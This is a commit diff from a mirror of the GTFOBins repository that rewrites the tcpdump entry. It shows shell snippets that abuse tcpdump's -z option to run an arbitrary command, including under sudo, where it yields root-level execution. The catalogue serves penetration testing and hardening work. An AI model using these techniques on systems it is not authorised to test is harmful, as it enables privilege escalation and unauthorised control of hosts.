mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
Fix and simplify tcpdump
This commit is contained in:
parent
acf29564cb
commit
2ff760e560
@ -1,9 +1,17 @@
|
||||
---
|
||||
functions:
|
||||
execute-non-interactive:
|
||||
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile
|
||||
tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root
|
||||
sudo-enabled:
|
||||
- code: echo "whoami > /tmp/whoami" > /tmp/tmpfile
|
||||
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z ./tmpfile -Z root
|
||||
- code: |
|
||||
COMMAND='id > /tmp/output'
|
||||
TF=$(mktemp -u)
|
||||
echo "$COMMAND" > $TF
|
||||
chmod +x $TF
|
||||
tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
|
||||
suid-enabled:
|
||||
- code: |
|
||||
COMMAND='id > /tmp/output'
|
||||
TF=$(mktemp -u)
|
||||
echo "$COMMAND" > $TF
|
||||
chmod +x $TF
|
||||
sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF
|
||||
---
|
||||
|
Loading…
Reference in New Issue
Block a user